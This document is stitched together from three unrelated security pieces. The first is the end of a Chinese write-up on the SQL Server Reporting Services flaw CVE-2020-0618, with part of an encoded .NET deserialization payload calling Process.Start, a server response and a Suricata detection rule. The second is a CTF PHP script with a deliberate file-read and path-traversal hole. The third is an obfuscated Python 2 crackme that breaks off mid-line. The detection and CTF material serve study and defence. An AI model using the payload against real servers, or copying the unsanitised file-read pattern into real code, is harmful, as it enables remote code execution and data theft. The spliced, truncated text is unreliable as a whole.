TM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA%2BU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs%3DHTTP/1.1 200 OK Cache-Control: private Content-Length: 21744 Content-Type: text/html; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 X-AspNet-Version: 4.0.30319 X-Content-Type-Options: nosniff Date: Wed, 28 Oct 2020 07:28:38 GMT <!DOCTYPE html> <html> <head id="headID" lang="zh-CN"> <meta charset="utf-8"> <META HTTP-EQUIV="X-UA-Compatible" CONTENT="IE=edge"> <title> - ............... </title><link href="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.Html5Toolbar.css" rel="stylesheet" type="text/css" /><link href="/ReportServer/Reserved.ReportServer?rs:command=StyleSheet&amp;Name=&amp;Version=2015.130.1601.05" rel="stylesheet" type="text/css" /><link href="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.jqueryui.min.css" rel="stylesheet" type="text/css" /><link href="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.Html5Renderer.css" rel="stylesheet" type="text/css" /><script language="Javascript" type="text/Javascript" src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.jquery.min.js"></script><script language="Javascript" type="text/Javascript" src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.jqueryui.min.js"></script><script language="Javascript" type="text/Javascript" src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.knockoutjs.js"></script><script language="Javascript" type="text/Javascript" src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.Html5Renderer.js"></script><script language="Javascript" type="text/Javascript" src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.Reporting.WebForms.Scripts.RSTelemetry.js"></script><script type="text/javascript"> var RS; var RSTelemetry; if (RS && RS.Telemetry) { try { RSTelemetry = new RS.Telemetry({"Build":"13.0.1601.5","Host":"ReportingServicesWebServer","HashedInstanceId":"5C5FFF2BBFEF6D664EAD5BF70842D094353A8832B3179992C5EC4DDE2184CABF","HashedUserId":"C84D026B4E5BB8F628490233444855EAD9537B0524EBE4BDD0243123612BE5AA","ExternalUser":"True","Edition":"Enterprise"}, "/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&Version=13.0.1601.5&Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.application-insights.js"); RSTelemetry.trackPageView({ url: "ReportViewer.aspx" }); } catch (exception) { } } </script><script type="text/javascript"> var RSTelemetry; if (RSTelemetry) { RSTelemetry.trackEvent("RS.ReportViewer.Render", {"TargetingHtml40":"False","ItemPath":"8A5EDAB282632443219E051E4ADE2D1D5BBC671C781051BF1437897CBDFEA0F1","UserAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)"}); } </script></head> <body style="margin: 0px; overflow: auto"> <form method="post" action="./ReportViewer.aspx" id="ReportViewerForm" style="width:100%;height:100%"> <div class="aspNetHidden"> <input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" /> <input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" /> <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTE0NjY0NTA2NjMPZBYGZg8WAh4EVGV4dAUQPCFET0NUWVBFIGh0bWw+CmQCAg8WAh4EbGFuZwUFemgtQ04WAgIBDxYCHwAFOAoJPE1FVEEgSFRUUC1FUVVJVj0iWC1VQS1Db21wYXRpYmxlIiBDT05URU5UPSJJRT1lZGdlIj4KZAIED2QWBAIED2QWBAIBDxYCHgVWYWx1ZWRkAgMPZBYCZg9kFgJmDxYCHwJkZAIFDxQrAAVkKClYU3lzdGVtLkd1aWQsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSQzY2FkYjE3NS1iZWRiLTQwYWItODBjMy0yZmRlNTUyN2RjZGQCARQrAAEUKwAEZhQrAAJkAgFkZGQWAgIBD2QWAmYPZBYCZg9kFgwCAQ8PFgIeB1Zpc2libGVoZGQCAg9kFgICAg8WAh8CBQVmYWxzZWQCAw8PFgIfA2hkZAIFD2QWAgICDxYCHwIFBWZhbHNlZAIGD2QWAmYPZBYCZg9kFgRmDw9kFgIeBXN0eWxlBRB2aXNpYmlsaXR5Om5vbmU7ZAIDD2QWBAIBDxYCHgdFbmFibGVkaGQCBA8WAh8CBQMxMDBkAgoPZBYCAgEPFgIfAgUFRmFsc2VkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBSNSZXBvcnRWaWV3ZXJDb250cm9sJFRvZ2dsZVBhcmFtJGltZwUdUmVwb3J0Vmlld2VyQ29udHJvbCRjdGwwNyRpbWf0vpO0oY4wb+zjEX8982bcJ0/OsD0dzgB1cDESwU5y3w==" /> </div> <script type="text/javascript"> //<![CDATA[ var theForm = document.forms['ReportViewerForm']; if (!theForm) { theForm = document.ReportViewerForm; } function __doPostBack(eventTarget, eventArgument) { if (!theForm.onsubmit || (theForm.onsubmit() != false)) { theForm.__EVENTTARGET.value = eventTarget; theForm.__EVENTARGUMENT.value = eventArgument; theForm.submit(); } } //]]> </script> <script src="/ReportServer/WebResource.axd?d=Ov5TcDlIR4L3uboQTuCmOyzxZlFI87EVwA8MTt0A8wTF67-wLOBXf-8BRssABM-acy292vdKTSgkV9AebwBl1lMooRPgDOJ7xMleOnFfqS41&amp;t=636043007952281841" type="text/javascript"></script> <script src="/ReportServer/ScriptResource.axd?d=I-YMT-mFNzdk-lCC39WuU9DeqZWRtuKQhzp4BRmLR47qjd2cjJtu59tIr0QetErd6BK3J4s-w9e0_iHIIKtjQ7HyYZ5JPJhvyDPNiWa_ojbiQhLerZKO6_eaob_GIbUcv2hSZtJVQ8hws-pLFl1qo6yuo2K0k6_p6haC3fYd84zBeXNAeLHulYhWjz230GnN0&amp;t=ffffffffc7ae6e38" type="text/javascript"></script> <script src="/ReportServer/ScriptResource.axd?d=-Cdg2drN8Wy0xDKU0zwdQbsz0D8_dUbhvptrtPeLypB8J2b1rs47vWm0XPULZy1WnoFJ8h2SYnx5hySyh_w8BXo1ye0Ebu86eSnEcuuY3ZRnFhwIRGIxSZR0In84SuPhbW6_Ai6pvfl8zKkPNoFEsI2gIBfE9jB4NW4u58FyHv1ABwh8yUZX38IAAqNX3n3t0&amp;t=ffffffffc7ae6e38" type="text/javascript"></script> <script src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=ViewerScript" type="text/javascript"></script> <script src="/ReportServer/ScriptResource.axd?d=ILslaHEYwalu15zdv7Bw8t2xYgV30NzsfTAa0lR6jzGvfbtZy1Z_ffLoGlxI9bthCmRSJMegwrsYaUzHJbhlmlPLLuKr-v-MIHrzz9nSzIXUB0R_eI8VMcYyFNyZD_Wmr_UuVgS21fFlrBSnhF0IDKBnqgNVzdTxcV-oltrq3u01&amp;t=ffffffffc7ae6e38" type="text/javascript"></script> <div class="aspNetHidden"> <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="177045DE" /> </div> <script type="text/javascript"> //<![CDATA[ Sys.WebForms.PageRequestManager._initialize('AjaxScriptManager', 'ReportViewerForm', ['tNavigationCorrector$ctl00','NavigationCorrector_ctl00','fReportViewerControl$ReportViewer','','fReportViewerControl$DocMap','','fReportViewerControl$ctl09$ReportArea',''], ['NavigationCorrector','NavigationCorrector'], ['ReportViewerControl$ctl09$ReportControl$ctl00',''], 0, ''); //]]> </script> <table cellspacing="0" cellpadding="0" width="100%" height="100%"><tr height="100%"><td width="100%"> <span><span id="ctl01_ctl00" style="display:none;"></span><script> $addHandler(window, 'beforeunload', function() {Sys.WebForms.PageRequestManager.getInstance().abortPostBack();}); Sys.WebForms.PageRequestManager.getInstance().add_endRequest(function(sender, args) { if (args.get_error() !== null) { var label = $get('ctl01_ctl00'); label.style.display = ''; label.innerText = args.get_error().message; label.textContent = label.innerText; } }); Sys.WebForms.PageRequestManager.getInstance().add_beginRequest(function(sender, args) {$get('ctl01_ctl00').style.display = 'none';}); </script></span><div id="NavigationCorrector" style="display:none;"> <input type="hidden" name="NavigationCorrector$ScrollPosition" id="NavigationCorrector_ScrollPosition" /><input type="hidden" name="NavigationCorrector$ViewState" id="NavigationCorrector_ViewState" /><input type="hidden" name="NavigationCorrector$PageState" id="NavigationCorrector_PageState" value="NeedsCorrection" /><div id="NavigationCorrector_ctl00"> <input type="hidden" name="NavigationCorrector$NewViewState" id="NavigationCorrector_NewViewState" /> </div> </div><noscript> &nbsp;............................................................................................................&nbsp;<a href="/ReportServer?&amp;rs:Command=Render&amp;rs:Format=HTML5&amp;rc:LinkTarget=_top&amp;rc:Javascript=false&amp;rc:Toolbar=false">......</a> </noscript><div id="ReportViewerControl_ReportViewer"> <div id="ReportViewerControl" onclick="if ($get(&#39;ReportViewerControl_ctl04&#39;) != null &amp;&amp; $get(&#39;ReportViewerControl_ctl04&#39;).control != null) $get(&#39;ReportViewerControl_ctl04&#39;).control.HideActiveDropDown();" onactivate="if ($get(&#39;ReportViewerControl_ctl04&#39;) != null &amp;&amp; $get(&#39;ReportViewerControl_ctl04&#39;).control != null) $get(&#39;ReportViewerControl_ctl04&#39;).control.HideActiveDropDown();" style="height:100%;width:100%;"> <div id="ReportViewerControl_HttpHandlerMissingErrorMessage" style="border-color:Red;border-width:2px;border-style:Solid;padding:10px;display:none;overflow:auto;font-size:.85em;"> <h2> ........................... </h2><p>.................. Web ...... HTTP .................................... web.config ........................ &lt;add verb=&quot;*&quot; path=&quot;Reserved.ReportViewerWebControl.axd&quot; type = &quot;Microsoft.Reporting.WebForms.HttpHandler, ReportingServicesWebServer, Version=13.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91&quot; /&gt; ......... web.config ......... system.web/httpHandlers ............... Internet Information Services 7 ........................ &lt;add name=&quot;ReportViewerWebControlHandler&quot; preCondition=&quot;integratedMode&quot; verb=&quot;*&quot; path=&quot;Reserved.ReportViewerWebControl.axd&quot; type=&quot;Microsoft.Reporting.WebForms.HttpHandler, ReportingServicesWebServer, Version=13.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91&quot; /&gt; ......... system.webServer/handlers .........</p> </div><span id="ReportViewerControl_ctl03"><input type="hidden" name="ReportViewerControl$ctl03$ctl00" id="ReportViewerControl_ctl03_ctl00" /><input type="hidden" name="ReportViewerControl$ctl03$ctl01" id="ReportViewerControl_ctl03_ctl01" /></span><input type="hidden" name="ReportViewerControl$ctl10" id="ReportViewerControl_ctl10" /><input type="hidden" name="ReportViewerControl$ctl11" id="ReportViewerControl_ctl11" /><div id="ReportViewerControl_AsyncWait" style="background-color:White;opacity:0.7;position:absolute;display:none;filter:alpha(opacity=70);"> </div><div id="ReportViewerControl_AsyncWait_Wait" class="WaitControlBackground" style="display:none;position:absolute;"> <table height="100%"> <tr> <td width="32px" height="32px"><img src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.Reporting.WebForms.Icons.SpinningWheel.gif" alt="..............." style="height:32px;width:32px;" /></td><td class="WaitInfoCell"><span class="WaitText">...............</span><div class="CancelLinkDiv"> <a class="CancelLinkText" href="javascript:$get(&#39;ReportViewerControl_AsyncWait&#39;).control._cancelCurrentPostback();">......</a> </div></td> </tr> </table> </div><input type="hidden" name="ReportViewerControl$AsyncWait$HiddenCancelField" id="ReportViewerControl_AsyncWait_HiddenCancelField" value="False" /><table cellpadding="0" cellspacing="0" id="ReportViewerControl_fixedTable" style="table-layout:fixed;width:100%;height:100%;"> <tr> <td style="display:none;width:25%;"></td><td style="display:none;width:6px;"></td><td style="width:100%;"></td> </tr><tr id="ParametersRowReportViewerControl" style="display:none;"> <td colspan="3"></td> </tr><tr style="height:6px;font-size:2pt;display:none;"> <td colspan="3" class="SplitterNormal" style="padding:0px;margin:0px;text-align:center;"><div id="ReportViewerControl_ToggleParam"> <input type="image" name="ReportViewerControl$ToggleParam$img" id="ReportViewerControl_ToggleParam_img" title="............" aria-live="polite" src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.Reporting.WebForms.Icons.SplitterHorizCollapse.png" alt="............" align="middle" onclick="void(0);" style="cursor:pointer;" /><input type="hidden" name="ReportViewerControl$ToggleParam$store" id="ReportViewerControl_ToggleParam_store" /><input type="hidden" name="ReportViewerControl$ToggleParam$collapse" id="ReportViewerControl_ToggleParam_collapse" value="false" /> </div></td> </tr><tr style="display:none;"> </tr><tr> <td style="vertical-align:top;width:25%;height:100%;display:none;"><div style="width:100%;height:100%;"> <div id="ReportViewerControl_DocMap"> <div id="ReportViewerControl_ctl08" style="display:none;"> <input type="hidden" name="ReportViewerControl$ctl08$ClientClickedId" id="ReportViewerControl_ctl08_ClientClickedId" /> </div> </div> </div></td><td class="SplitterNormal" style="display:none;width:4px;padding:0px;margin:0px;height:100%;vertical-align:middle;"><div id="ReportViewerControl_ctl07"> <input type="image" name="ReportViewerControl$ctl07$img" id="ReportViewerControl_ctl07_img" title="....................." aria-live="polite" src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.Reporting.WebForms.Icons.SplitterVertCollapse.png" alt="....................." align="top" onclick="void(0);" style="cursor:pointer;" /><input type="hidden" name="ReportViewerControl$ctl07$store" id="ReportViewerControl_ctl07_store" /><input type="hidden" name="ReportViewerControl$ctl07$collapse" id="ReportViewerControl_ctl07_collapse" value="false" /> </div></td><td style="height:100%;vertical-align:top;"><div id="ReportViewerControl_ctl09" style="width:100%;overflow:auto;position:relative;"> <div id="VisibleReportContentReportViewerControl_ctl09" role="main" style="display:none;"> </div><div id="ReportViewerControl_ctl09_ReportArea"> <div NewContentType="ReportingServices.WebFormsClient.ReportAreaContent.None" ForNonReportContentArea="false" id="ReportViewerControl_ctl09_VisibilityState" style="visibility:none;"> <input type="hidden" name="ReportViewerControl$ctl09$VisibilityState$ctl00" value="None" /> </div><input type="hidden" name="ReportViewerControl$ctl09$ScrollPosition" id="ReportViewerControl_ctl09_ScrollPosition" /><span id="ReportViewerControl_ctl09_Reserved_AsyncLoadTarget"></span><div id="ReportViewerControl_ctl09_ReportControl" style="display:none;"> <span></span><input type="hidden" name="ReportViewerControl$ctl09$ReportControl$ctl02" /><input type="hidden" name="ReportViewerControl$ctl09$ReportControl$ctl03" /><input type="hidden" name="ReportViewerControl$ctl09$ReportControl$ctl04" id="ReportViewerControl_ctl09_ReportControl_ctl04" value="100" /> </div><div id="ReportViewerControl_ctl09_NonReportContent" style="height:100%;width:100%;"> </div> </div> </div></td> </tr> </table> </div> </div> </td></tr></table> <script type="text/javascript"> //<![CDATA[ Sys.Application.add_init(function() { if ( typeof ReportingServices == 'undefined' || typeof ReportingServices.WebFormsClient == 'undefined' || typeof ReportingServices.WebFormsClient.ReportViewer == 'undefined') Sys.UI.DomElement.setVisible($get('ReportViewerControl_HttpHandlerMissingErrorMessage'), true); $create(ReportingServices.WebFormsClient.ReportViewer, {"_internalViewerId":"ReportViewerControl_ctl03","id":"ReportViewerControl"}, null, null); }); Sys.Application.add_init(function() { $create(ReportingServices.WebFormsClient._InternalReportViewer, {"ActionParamId":"ReportViewerControl_ctl03_ctl01","ActionTypeId":"ReportViewerControl_ctl03_ctl00","BaseHeight":"100%","BaseWidth":"100%","BrowserModeId":"ReportViewerControl_ctl11","DirectionCacheId":"ReportViewerControl_ctl10","DocMapAreaId":"ReportViewerControl_ctl08","DocMapHeaderOverflowDivId":"ReportViewerControl_ctl08DocMapHeaderOverflowDiv","DocMapSplitterId":"ReportViewerControl_ctl07","DocMapUpdatePanelId":"ReportViewerControl_DocMap","FixedTableId":"ReportViewerControl_fixedTable","HasSizingRow":true,"PostBackToClientScript":function(){__doPostBack('ReportViewerControl$ctl03','');},"PromptAreaRowId":"ParametersRowReportViewerControl","PromptSplitterId":"ReportViewerControl_ToggleParam","ReportAreaId":"ReportViewerControl_ctl09","ReportViewerId":"ReportViewerControl","TopLevelUpdatePanelId":"ReportViewerControl_ReportViewer"}, null, null, $get("ReportViewerControl_ctl03")); }); Sys.Application.add_init(function() { $create(ReportingServices.WebFormsClient._AsyncWaitControl, {"ClientCanceledId":"ReportViewerControl_AsyncWait_HiddenCancelField","DisplayDelay":1000,"FixedTableId":"ReportViewerControl_fixedTable","ReportViewerId":"ReportViewerControl","SkipTimer":true,"TriggerIds":["ReportViewerControl"],"WaitControlId":"ReportViewerControl_AsyncWait_Wait"}, null, null, $get("ReportViewerControl_AsyncWait")); }); Sys.Application.add_init(function() { $create(ReportingServices.WebFormsClient._Splitter, {"HoverStyle":"SplitterHover","ImageCollapse":"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\u0026Version=13.0.1601.5\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterHorizCollapse.png","ImageCollapseHover":"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\u0026Version=13.0.1601.5\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterHorizCollapseHover.png","ImageExpand":"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\u0026Version=13.0.1601.5\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterHorizExpand.png","ImageExpandHover":"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\u0026Version=13.0.1601.5\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterHorizExpandHover.png","ImageId":"ReportViewerControl_ToggleParam_img","IsCollapsable":true,"NormalStyle":"SplitterNormal","Resizable":false,"StoreCollapseField":"ReportViewerControl_ToggleParam_collapse","StorePositionField":"ReportViewerControl_ToggleParam_store","TooltipCollapse":"............","TooltipExpand":"............","Vertical":false}, null, null, $get("ReportViewerControl_ToggleParam")); }); Sys.Application.add_init(function() { $create(ReportingServices.WebFormsClient._Splitter, {"HoverStyle":"SplitterHover","ImageCollapse":"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\u0026Version=13.0.1601.5\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterVertCollapse.png","ImageCollapseHover":"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\u0026Version=13.0.1601.5\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterVertCollapseHover.png","ImageExpand":"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\u0026Version=13.0.1601.5\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterVertExpand.png","ImageExpandHover":"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\u0026Version=13.0.1601.5\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterVertExpandHover.png","ImageId":"ReportViewerControl_ctl07_img","IsCollapsable":true,"NormalStyle":"SplitterNormal","Resizable":true,"StoreCollapseField":"ReportViewerControl_ctl07_collapse","StorePositionField":"ReportViewerControl_ctl07_store","TooltipCollapse":".....................","TooltipExpand":".....................","Vertical":true}, null, null, $get("ReportViewerControl_ctl07")); }); Sys.Application.add_init(function() { $create(ReportingServices.WebFormsClient._ReportArea, {"NonReportContentId":"ReportViewerControl_ctl09_NonReportContent","ReportAreaVisibilityStateId":"ReportViewerControl_ctl09_VisibilityState","ReportControlId":"ReportViewerControl_ctl09_ReportControl","ScrollPositionId":"ReportViewerControl_ctl09_ScrollPosition","VisibleReportContentContainerId":"VisibleReportContentReportViewerControl_ctl09"}, null, null, $get("ReportViewerControl_ctl09")); }); Sys.Application.add_init(function() { $create(ReportingServices.WebFormsClient._ReportPage, {"HiddenZoomLevelId":"ReportViewerControl_ctl09_ReportControl_ctl04","StyleElementId":"ReportViewerControl_ctl09_ReportControl_styles"}, null, null, $get("ReportViewerControl_ctl09_ReportControl")); }); //]]> </script> </form> <script language="javascript" type="text/javascript"> Sys.WebForms.PageRequestManager.prototype._destroyTree = function(element) { var allnodes = element.getElementsByTagName('*'), length = allnodes.length; var nodes = new Array(length); for (var k = 0; k < length; k++) { nodes[k] = allnodes[k]; } for (var j = 0, l = nodes.length; j < l; j++) { var node = nodes[j]; if (node.nodeType === 1) { if (node.dispose && typeof (node.dispose) === "function") { node.dispose(); } else if (node.control && typeof (node.control.dispose) === "function") { node.control.dispose(); } var behaviors = node._behaviors; if (behaviors) { behaviors = Array.apply(null, behaviors); for (var k = behaviors.length - 1; k >= 0; k--) { behaviors[k].dispose(); } } } } } </script> </body> </html> ``` ## 检测规则/思路 ### Suricata规则 ```s alert http any any -> any any (msg:"CVE-2020-0618-Sql-server远程代码执行";flow:established,to_server;content:"POST";http_method;content:"/ReportServer/pages/ReportViewer.aspx";http_uri;content:"NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=";http_client_body;reference:url,www.cnblogs.com/8gman/p/12323273.html;classtype:web-application-attck;sid:3002021;rev:1;) ``` ### 建议 流量+安全设备比较容易检测到此攻击行为。 ## 参考推荐 MITRE-ATT&CK-T1190 <https://attack.mitre.org/techniques/T1190/> CVE-2020-0618 SQL Server远程代码执行 <https://www.cnblogs.com/8gman/p/12323273.html> (CVE-2020-0618)sql2012远程代码执行漏洞修复 <https://blog.51cto.com/shaonian/2472132>
sec-knowleage
<?php // TWCTF{then_can_y0u_read_file_list?} $filename = $_GET['f']; if(stripos($filename, 'file_list') != false) die(); header("Contest-Type: application/octet-stream"); header("Content-Disposition: attachment; filename='$filename'"); readfile("uploads/$filename");
sec-knowleage
#!/usr/bin/python2 # -*- coding: utf-8 -*- from __future__ import division from datetime import datetime from sys import modules import random import time import sys import os class Modifier: def __init__(self, value, owner): self.value = value self.owner = owner def __str__(self): sum = str(self.value) lenght = len(sum)-2 print lenght if lenght < 0 or lenght > 9 or "e" in sum or float(sum < 0): return "Error!" if lenght == 1 or lenght == 2 or lenght == 3: return sum elif lenght == 4: return sum[0] + "." + sum[1:] elif lenght == 5: return sum[:3] + "." + sum[3:] elif lenght == 6: return sum[:3] + "." + sum[3:] elif lenght == 7: return sum[0] + "." + sum[1:4] + "." + sum[4:] elif lenght == 8: return sum[:2] + "." + sum[2:5] + "." + sum[5:] elif lenght == 9: return sum[:3] + "." + sum[3:6] + "." + sum[6:] def __add__(self, othr): sum = self.value + othr foo = (ord(self.owner[0])*2) + (ord(self.owner[-1])*2) sum = sum + foo return Modifier(sum, self.owner) def __sub__(self, othr): sum = self.value - othr foo = (ord(self.owner[0])*2) + (ord(self.owner[-1])*2) sum = sum - foo return Modifier(sum, self.owner) print str(Modifier(25987369.0,"asdf asda")) class exhib(object): def write(self, string): print string[-1] + string[0] + "".join(map(lambda x: chr(ord(x)+5), string[1:-1])) modules.clear() del modules def prepare(): var="105110102111115" txt=str() i=0 while i<len(var): txt+=chr(int(var[i:i+3], 10)) i+=3 interage(txt) def valid(input): err = int() input = str(input) chrs = [48, 49, 50, 51, 52, 53, 54, 55, 56, 93, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110] for i in input: if ord(i) not in chrs: err = 1 break else: err = 0 if not err: return True else: return False False,True=True,False def toption(opt): if int(opt / 0150) ^ int(opt ** 4.2) // 100 >> 2 >> 3 + ~0 == 234277: return 0x1 if opt * 135 ^ int(0150 / 33) >> 2 >> 3 ** 10 - ~0 == 17820: return 0x2 if opt * int(0157 / 1.2) ^ 0125 >> opt >> 6 ** 20 - ~3 == 13248: return 0x3 if opt + int(0250 / 15.9) ^ 100 << 20 >> 12 - ~0 == 12972: return 0x4 vals=[None]*5 for i in range(1000): t=toption(i) if t and not vals[t]: vals[t]=i print "Options are, 1-4:" print vals[1:] def process(opt, txt): global pwdmaster while 1: try: passwd = input("Type the password: ") print passwd if valid(passwd): if passwd[5][2][:] == pwdmaster[0][:-2]: print "\nPassword accepted!" break else: continue else: continue except (KeyboardInterrupt, SystemExit): exit() except: continue os.system('cls' if os.name == 'nt' else 'clear') done = exhib() open=file(txt).readlines() open=eval("".join(open)) i=0 print if opt == 1: print "View Owners of Accounts:" print "--------------------\n" while i < len(open): print >> done, open.keys()[i], i+=1 elif opt == 2: print "View Banks of Accounts:" print "----------------------\n" while i < len(open): print >> done, open.values()[i][0], i+=1 elif opt == 3: print "Modify Sum:" print "---------------\n" while 1: try: operation = raw_input("Type the Operation: ") if len(operation) <> 1 and (operation <> "+" or operation <> "-"): print "Invalid Operation!" continue owner = raw_input("Type the Account Owner: ") if (open.has_key(owner) == True): print "Invalid Account!" continue value = float(raw_input("Type the Value: ")) if value <= 0: print "Invalid Value!" continue else: break except (KeyboardInterrupt, SystemExit): exit() except: continue if operation == "+": modifier = Modifier(float(open[owner][1]), owner) processed = modifier + value processed = str(processed) if processed == "Error!": print "Error! Nothing was changed!" else: print "The actual sum of the account was changed to: US$", processed print "P.S: changes take effect only after going through manual inspection of the boss." now = datetime.now() tmp="change-" + str(now.day) + "d-" + str(now.hour) + "h-" + str(now.minute) + "m-" + str(now.second) + "s.txt" tmp=file(tmp, "w") tmp.writelines(owner) tmp.writelines(" - " + processed) tmp.close() if operation == "-": modifier = Modifier(float(open[owner][1]), owner) processed = modifier - value processed = str(processed) if processed == "Error!": print "Error! Nothing was changed!" else: print "The actual sum of the account was changed to: US$", processed print "P.S: changes take effect only after going through manual inspection of the boss." now = datetime.now() tmp="change-" + str(now.day) + "d-" + str(now.hour) + "h-" + str(now.minute) + "m-" + str(now.second) + "s.txt" tmp=file(tmp, "w") tmp.writelines(owner) tmp.writelines(" - " + processed) tmp.close() print "Goodbye!" else: exit() def interage(txt): open=file(txt).readlines() infos=eval("".join(open)) option=4 print "\nAvailable Options:\n" print "1 - View Owners of Accounts" print "2 - View Banks of Accounts" print "3 - Modify Sum" print "4 - Exit\n" while 1: try: if toption(option) < 1 or (toption(option) > 4) == False: option = int(raw_input("Enter option: ")) else: option = toption(option) break except (KeyboardInterrupt, SystemExit): exit() except: continue if option == 1: process(01,txt) elif option == 2: process(02,txt) elif option == 3: process(03,txt) else: process(04,txt) name=raw_input("Login name: ") master=file("master.txt").readlines() pwdmaster=file("passwd.txt").readlines() master="".join(master).strip("\n")+"z"*0110+"".join(random.sample(map(chr,range(0174,0175)), 1))+"Z"*017 print master birthyear=master[011:015] print birthyear status=bool() num1=((258**2)-((2+1)*(4+1)*(16+1)*(256+1)+01774)) print num1 s1=name[:num1] == master[:num1] num2=015 print num2 s2=name[num1:num2] == master[num1:num2] s3=len(name[num2:]) == len(master[num2:]) s4=name[num2:] > 